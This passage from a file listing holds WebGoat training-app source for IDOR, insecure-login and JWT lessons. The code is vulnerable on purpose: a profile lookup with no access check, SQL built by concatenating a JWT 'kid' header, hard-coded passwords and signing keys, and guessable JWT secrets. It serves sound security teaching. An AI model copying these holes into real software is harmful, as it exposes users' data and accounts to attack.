\"idor.hints.otherProfile8\",\n  \"idor.hints.otherProfile9\"\n})\npublic class IDORViewOtherProfile extends AssignmentEndpoint {\n\n  @Autowired UserSessionData userSessionData;\n\n  @GetMapping(\n      path = \"/IDOR/profile/{userId}\",\n      produces = {\"application/json\"})\n  @ResponseBody\n  public AttackResult completed(@PathVariable(\"userId\") String userId, HttpServletResponse resp) {\n    Map<String, Object> details = new HashMap<>();\n\n    if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n      // going to use session auth to view this one\n      String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n      if (userId != null && !userId.equals(authUserId)) {\n        // on the right track\n        UserProfile requestedProfile = new UserProfile(userId);\n        // secure code would ensure there was a horizontal access control check prior to dishing up\n        // the requested profile\n        if (requestedProfile.getUserId().equals(\"2342388\")) {\n          return success(this)\n              .feedback(\"idor.view.profile.success\")\n              .output(requestedProfile.profileToMap().toString())\n              .build();\n        } else {\n          return failed(this).feedback(\"idor.view.profile.close1\").build();\n        }\n      } else {\n        return failed(this).feedback(\"idor.view.profile.close2\").build();\n      }\n    }\n    return failed(this).build();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfile.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lombok.extern.slf4j.Slf4j;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@Slf4j\npublic class IDORViewOwnProfile {\n\n  @Autowired UserSessionData userSessionData;\n\n  @GetMapping(\n      path = {\"/IDOR/own\", \"/IDOR/profile\"},\n      produces = {\"application/json\"})\n  @ResponseBody\n  public Map<String, Object> invoke() {\n    Map<String, Object> details = new HashMap<>();\n    try {\n      if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n        // going to use session auth to view this one\n        String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n        UserProfile userProfile = new UserProfile(authUserId);\n        details.put(\"userId\", userProfile.getUserId());\n        details.put(\"name\", userProfile.getName());\n        details.put(\"color\", userProfile.getColor());\n        details.put(\"size\", userProfile.getSize());\n        details.put(\"role\", userProfile.getRole());\n      } else {\n        details.put(\n            \"error\",\n            \"You do not have privileges to view the profile. Authenticate as tom first please.\");\n      }\n    } catch (Exception ex) {\n      log.error(\"something went wrong\", ex.getMessage());\n    }\n    return details;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/IDORViewOwnProfileAltUrl.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\n@AssignmentHints({\n  \"idor.hints.ownProfileAltUrl1\",\n  \"idor.hints.ownProfileAltUrl2\",\n  \"idor.hints.ownProfileAltUrl3\"\n})\npublic class IDORViewOwnProfileAltUrl extends AssignmentEndpoint {\n\n  @Autowired UserSessionData userSessionData;\n\n  @PostMapping(\"/IDOR/profile/alt-path\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String url) {\n    try {\n      if (userSessionData.getValue(\"idor-authenticated-as\").equals(\"tom\")) {\n        // going to use session auth to view this one\n        String authUserId = (String) userSessionData.getValue(\"idor-authenticated-user-id\");\n        // don't care about http://localhost:8080 ... just want WebGoat/\n        String[] urlParts = url.split(\"/\");\n        if (urlParts[0].equals(\"WebGoat\")\n            && urlParts[1].equals(\"IDOR\")\n            && urlParts[2].equals(\"profile\")\n            && urlParts[3].equals(authUserId)) {\n          UserProfile userProfile = new UserProfile(authUserId);\n          return success(this)\n              .feedback(\"idor.view.own.profile.success\")\n              .output(userProfile.profileToMap().toString())\n              .build();\n        } else {\n          return failed(this).feedback(\"idor.view.own.profile.failure1\").build();\n        }\n\n      } else {\n        return failed(this).feedback(\"idor.view.own.profile.failure2\").build();\n      }\n    } catch (Exception ex) {\n      return failed(this).feedback(\"an error occurred with your request\").build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/idor/UserProfile.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.idor;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/** Created by jason on 1/5/17. */\npublic class UserProfile {\n  private String userId;\n  private String name;\n  private String color;\n  private String size;\n  private boolean isAdmin;\n  private int role;\n\n  public UserProfile() {}\n\n  public UserProfile(String id) {\n    setProfileFromId(id);\n  }\n\n  //\n  private void setProfileFromId(String id) {\n    // emulate look up from database\n    if (id.equals(\"2342384\")) {\n      this.userId = id;\n      this.color = \"yellow\";\n      this.name = \"Tom Cat\";\n      this.size = \"small\";\n      this.isAdmin = false;\n      this.role = 3;\n    } else if (id.equals(\"2342388\")) {\n      this.userId = id;\n      this.color = \"brown\";\n      this.name = \"Buffalo Bill\";\n      this.size = \"large\";\n      this.isAdmin = false;\n      this.role = 3;\n    } else {\n      // not found\n    }\n  }\n\n  public Map<String, Object> profileToMap() {\n    Map<String, Object> profileMap = new HashMap<>();\n    profileMap.put(\"userId\", this.userId);\n    profileMap.put(\"name\", this.name);\n    profileMap.put(\"color\", this.color);\n    profileMap.put(\"size\", this.size);\n    profileMap.put(\"role\", this.role);\n    return profileMap;\n  }\n\n  public String toHTMLString() {\n    String htmlBreak = \"<br/>\";\n    return \"userId\"\n        + this.userId\n        + htmlBreak\n        + \"name\"\n        + this.name\n        + htmlBreak\n        + \"size\"\n        + this.size\n        + htmlBreak\n        + \"role\"\n        + this.role\n        + htmlBreak\n        + \"isAdmin\"\n        + this.isAdmin;\n  }\n\n  //\n  public String getUserId() {\n    return userId;\n  }\n\n  public void setUserId(String userId) {\n    this.userId = userId;\n  }\n\n  public String getName() {\n    return name;\n  }\n\n  public void setName(String name) {\n    this.name = name;\n  }\n\n  public String getColor() {\n    return color;\n  }\n\n  public void setColor(String color) {\n    this.color = color;\n  }\n\n  public String getSize() {\n    return size;\n  }\n\n  public void setSize(String size) {\n    this.size = size;\n  }\n\n  public boolean isAdmin() {\n    return isAdmin;\n  }\n\n  public void setAdmin(boolean admin) {\n    isAdmin = admin;\n  }\n\n  public int getRole() {\n    return role;\n  }\n\n  public void setRole(int role) {\n    this.role = role;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLogin.java",
    "content": "package org.owasp.webgoat.lessons.insecurelogin;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 12, 2016\n */\n@Component\npublic class InsecureLogin extends Lesson {\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A7;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"insecure-login.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/insecurelogin/InsecureLoginTask.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.insecurelogin;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.web.bind.annotation.*;\n\n@RestController\npublic class InsecureLoginTask extends AssignmentEndpoint {\n\n  @PostMapping(\"/InsecureLogin/task\")\n  @ResponseBody\n  public AttackResult completed(@RequestParam String username, @RequestParam String password) {\n    if (\"CaptainJack\".equals(username) && \"BlackPearl\".equals(password)) {\n      return success(this).build();\n    }\n    return failed(this).build();\n  }\n\n  @PostMapping(\"/InsecureLogin/login\")\n  @ResponseStatus(HttpStatus.ACCEPTED)\n  public void login() {\n    // only need to exists as the JS needs to call an existing endpoint\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWT.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt;\n\nimport org.owasp.webgoat.container.lessons.Category;\nimport org.owasp.webgoat.container.lessons.Lesson;\nimport org.springframework.stereotype.Component;\n\n/**\n * @author nbaars\n * @since 3/22/17.\n */\n@Component\npublic class JWT extends Lesson {\n\n  @Override\n  public Category getDefaultCategory() {\n    return Category.A7;\n  }\n\n  @Override\n  public String getTitle() {\n    return \"jwt.title\";\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTDecodeEndpoint.java",
    "content": "package org.owasp.webgoat.lessons.jwt;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class JWTDecodeEndpoint extends AssignmentEndpoint {\n\n  @PostMapping(\"/JWT/decode\")\n  @ResponseBody\n  public AttackResult decode(@RequestParam(\"jwt-encode-user\") String user) {\n    if (\"user\".equals(user)) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTFinalEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt;\n\nimport io.jsonwebtoken.*;\nimport io.jsonwebtoken.impl.TextCodec;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport org.apache.commons.lang3.StringUtils;\nimport org.owasp.webgoat.container.LessonDataSource;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.*;\n\n/**\n *\n *\n * <pre>\n *  {\n *      \"typ\": \"JWT\",\n *      \"kid\": \"webgoat_key\",\n *      \"alg\": \"HS256\"\n *  }\n *  {\n *       \"iss\": \"WebGoat Token Builder\",\n *       \"iat\": 1524210904,\n *       \"exp\": 1618905304,\n *       \"aud\": \"webgoat.org\",\n *       \"sub\": \"jerry@webgoat.com\",\n *       \"username\": \"Jerry\",\n *       \"Email\": \"jerry@webgoat.com\",\n *       \"Role\": [\n *       \"Cat\"\n *       ]\n *  }\n * </pre>\n *\n * @author nbaars\n * @since 4/23/17.\n */\n@RestController\n@AssignmentHints({\n  \"jwt-final-hint1\",\n  \"jwt-final-hint2\",\n  \"jwt-final-hint3\",\n  \"jwt-final-hint4\",\n  \"jwt-final-hint5\",\n  \"jwt-final-hint6\"\n})\npublic class JWTFinalEndpoint extends AssignmentEndpoint {\n\n  private final LessonDataSource dataSource;\n\n  private JWTFinalEndpoint(LessonDataSource dataSource) {\n    this.dataSource = dataSource;\n  }\n\n  @PostMapping(\"/JWT/final/follow/{user}\")\n  public @ResponseBody String follow(@PathVariable(\"user\") String user) {\n    if (\"Jerry\".equals(user)) {\n      return \"Following yourself seems redundant\";\n    } else {\n      return \"You are now following Tom\";\n    }\n  }\n\n  @PostMapping(\"/JWT/final/delete\")\n  public @ResponseBody AttackResult resetVotes(@RequestParam(\"token\") String token) {\n    if (StringUtils.isEmpty(token)) {\n      return failed(this).feedback(\"jwt-invalid-token\").build();\n    } else {\n      try {\n        final String[] errorMessage = {null};\n        Jwt jwt =\n            Jwts.parser()\n                .setSigningKeyResolver(\n                    new SigningKeyResolverAdapter() {\n                      @Override\n                      public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {\n                        final String kid = (String) header.get(\"kid\");\n                        try (var connection = dataSource.getConnection()) {\n                          ResultSet rs =\n                              connection\n                                  .createStatement()\n                                  .executeQuery(\n                                      \"SELECT key FROM jwt_keys WHERE id = '\" + kid + \"'\");\n                          while (rs.next()) {\n                            return TextCodec.BASE64.decode(rs.getString(1));\n                          }\n                        } catch (SQLException e) {\n                          errorMessage[0] = e.getMessage();\n                        }\n                        return null;\n                      }\n                    })\n                .parseClaimsJws(token);\n        if (errorMessage[0] != null) {\n          return failed(this).output(errorMessage[0]).build();\n        }\n        Claims claims = (Claims) jwt.getBody();\n        String username = (String) claims.get(\"username\");\n        if (\"Jerry\".equals(username)) {\n          return failed(this).feedback(\"jwt-final-jerry-account\").build();\n        }\n        if (\"Tom\".equals(username)) {\n          return success(this).build();\n        } else {\n          return failed(this).feedback(\"jwt-final-not-tom\").build();\n        }\n      } catch (JwtException e) {\n        return failed(this).feedback(\"jwt-invalid-token\").output(e.toString()).build();\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTQuiz.java",
    "content": "package org.owasp.webgoat.lessons.jwt;\n\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n@RestController\npublic class JWTQuiz extends AssignmentEndpoint {\n\n  private final String[] solutions = {\"Solution 1\", \"Solution 2\"};\n  private final boolean[] guesses = new boolean[solutions.length];\n\n  @PostMapping(\"/JWT/quiz\")\n  @ResponseBody\n  public AttackResult completed(\n      @RequestParam String[] question_0_solution, @RequestParam String[] question_1_solution) {\n    int correctAnswers = 0;\n\n    String[] givenAnswers = {question_0_solution[0], question_1_solution[0]};\n\n    for (int i = 0; i < solutions.length; i++) {\n      if (givenAnswers[i].contains(solutions[i])) {\n        // answer correct\n        correctAnswers++;\n        guesses[i] = true;\n      } else {\n        // answer incorrect\n        guesses[i] = false;\n      }\n    }\n\n    if (correctAnswers == solutions.length) {\n      return success(this).build();\n    } else {\n      return failed(this).build();\n    }\n  }\n\n  @GetMapping(\"/JWT/quiz\")\n  @ResponseBody\n  public boolean[] getResults() {\n    return this.guesses;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTRefreshEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt;\n\nimport static org.springframework.http.ResponseEntity.ok;\n\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.ExpiredJwtException;\nimport io.jsonwebtoken.Header;\nimport io.jsonwebtoken.Jwt;\nimport io.jsonwebtoken.JwtException;\nimport io.jsonwebtoken.Jwts;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\nimport org.apache.commons.lang3.RandomStringUtils;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.ResponseEntity;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestBody;\nimport org.springframework.web.bind.annotation.RequestHeader;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/23/17.\n */\n@RestController\n@AssignmentHints({\n  \"jwt-refresh-hint1\",\n  \"jwt-refresh-hint2\",\n  \"jwt-refresh-hint3\",\n  \"jwt-refresh-hint4\"\n})\npublic class JWTRefreshEndpoint extends AssignmentEndpoint {\n\n  public static final String PASSWORD = \"bm5nhSkxCXZkKRy4\";\n  private static final String JWT_PASSWORD = \"bm5n3SkxCX4kKRy4\";\n  private static final List<String> validRefreshTokens = new ArrayList<>();\n\n  @PostMapping(\n      value = \"/JWT/refresh/login\",\n      consumes = MediaType.APPLICATION_JSON_VALUE,\n      produces = MediaType.APPLICATION_JSON_VALUE)\n  @ResponseBody\n  public ResponseEntity follow(@RequestBody(required = false) Map<String, Object> json) {\n    if (json == null) {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    }\n    String user = (String) json.get(\"user\");\n    String password = (String) json.get(\"password\");\n\n    if (\"Jerry\".equalsIgnoreCase(user) && PASSWORD.equals(password)) {\n      return ok(createNewTokens(user));\n    }\n    return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n  }\n\n  private Map<String, Object> createNewTokens(String user) {\n    Map<String, Object> claims = new HashMap<>();\n    claims.put(\"admin\", \"false\");\n    claims.put(\"user\", user);\n    String token =\n        Jwts.builder()\n            .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))\n            .setClaims(claims)\n            .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, JWT_PASSWORD)\n            .compact();\n    Map<String, Object> tokenJson = new HashMap<>();\n    String refreshToken = RandomStringUtils.randomAlphabetic(20);\n    validRefreshTokens.add(refreshToken);\n    tokenJson.put(\"access_token\", token);\n    tokenJson.put(\"refresh_token\", refreshToken);\n    return tokenJson;\n  }\n\n  @PostMapping(\"/JWT/refresh/checkout\")\n  @ResponseBody\n  public ResponseEntity<AttackResult> checkout(\n      @RequestHeader(value = \"Authorization\", required = false) String token) {\n    if (token == null) {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    }\n    try {\n      Jwt jwt = Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n      Claims claims = (Claims) jwt.getBody();\n      String user = (String) claims.get(\"user\");\n      if (\"Tom\".equals(user)) {\n        return ok(success(this).build());\n      }\n      return ok(failed(this).feedback(\"jwt-refresh-not-tom\").feedbackArgs(user).build());\n    } catch (ExpiredJwtException e) {\n      return ok(failed(this).output(e.getMessage()).build());\n    } catch (JwtException e) {\n      return ok(failed(this).feedback(\"jwt-invalid-token\").build());\n    }\n  }\n\n  @PostMapping(\"/JWT/refresh/newToken\")\n  @ResponseBody\n  public ResponseEntity newToken(\n      @RequestHeader(value = \"Authorization\", required = false) String token,\n      @RequestBody(required = false) Map<String, Object> json) {\n    if (token == null || json == null) {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    }\n\n    String user;\n    String refreshToken;\n    try {\n      Jwt<Header, Claims> jwt =\n          Jwts.parser().setSigningKey(JWT_PASSWORD).parse(token.replace(\"Bearer \", \"\"));\n      user = (String) jwt.getBody().get(\"user\");\n      refreshToken = (String) json.get(\"refresh_token\");\n    } catch (ExpiredJwtException e) {\n      user = (String) e.getClaims().get(\"user\");\n      refreshToken = (String) json.get(\"refresh_token\");\n    }\n\n    if (user == null || refreshToken == null) {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    } else if (validRefreshTokens.contains(refreshToken)) {\n      validRefreshTokens.remove(refreshToken);\n      return ok(createNewTokens(user));\n    } else {\n      return ResponseEntity.status(HttpStatus.UNAUTHORIZED).build();\n    }\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/lessons/jwt/JWTSecretKeyEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.lessons.jwt;\n\nimport io.jsonwebtoken.Claims;\nimport io.jsonwebtoken.Jwt;\nimport io.jsonwebtoken.Jwts;\nimport io.jsonwebtoken.SignatureAlgorithm;\nimport io.jsonwebtoken.impl.TextCodec;\nimport java.time.Instant;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Random;\nimport org.owasp.webgoat.container.assignments.AssignmentEndpoint;\nimport org.owasp.webgoat.container.assignments.AssignmentHints;\nimport org.owasp.webgoat.container.assignments.AttackResult;\nimport org.springframework.http.MediaType;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.ResponseBody;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * @author nbaars\n * @since 4/23/17.\n */\n@RestController\n@AssignmentHints({\"jwt-secret-hint1\", \"jwt-secret-hint2\", \"jwt-secret-hint3\"})\npublic class JWTSecretKeyEndpoint extends AssignmentEndpoint {\n\n  public static final String[] SECRETS = {\n    \"victory\", \"business\", \"available\", \"shipping\", \"washington\"\n  };\n  public static final String JWT_SECRET =\n      TextCodec.BASE64.encode(SECRETS[new Random().nextInt(SECRETS.length)]);\n  private static final String WEBGOAT_USER = \"WebGoat\";\n  private static final List<String> expectedClaims =\n      List.of(\"iss\", \"iat\", \"exp\", \"aud\", \"sub\", \"username\", \"Email\", \"Role\");\n\n  @RequestMapping(path = \"/JWT/secret/gettoken\", produces = MediaType.TEXT_HTML_VALUE)\n  @ResponseBody\n  public String getSecretToken() {\n    return Jwts.builder()\n        .setIssuer(\"WebGoat Token Builder\")\n        .setAudience(\"webgoat.org\")\n        .setIssuedAt(Calendar.getInstance().getTime())\n        .setExpiration(Date.from(Instant.now().plusSeconds(60)))\n        .setSubject(\"tom@webgoat.org\")\n        .claim(\"username\", \"Tom\")\n        .claim(\"Email\", \"tom@webgoat.org\")\n        .claim(\"Role\", new String[] {\"Manager\", \"Project Administrator\"})\n        .signWith(SignatureAlgorithm.HS256, JWT_SECRET)\n        .compact();\n  }\n\n  @PostMapping(\"/JWT/secret\")\n  @ResponseBody\n  public AttackResult login(@RequestParam String token) {\n    try {\n      Jwt jwt = Jwts.parser().setSigningKey(JWT_SECRET).parseClaimsJws(token);\n      Claims claims = (Claims) jwt.getBody();\n      if (!claims.keySet().containsAll(expectedClaims)) {\n        return failed(this).feedback(\"jwt-secret-claims-missing\").build();\n      } else {\n        String user = (String) claims.get(\"username\");\n\n        if 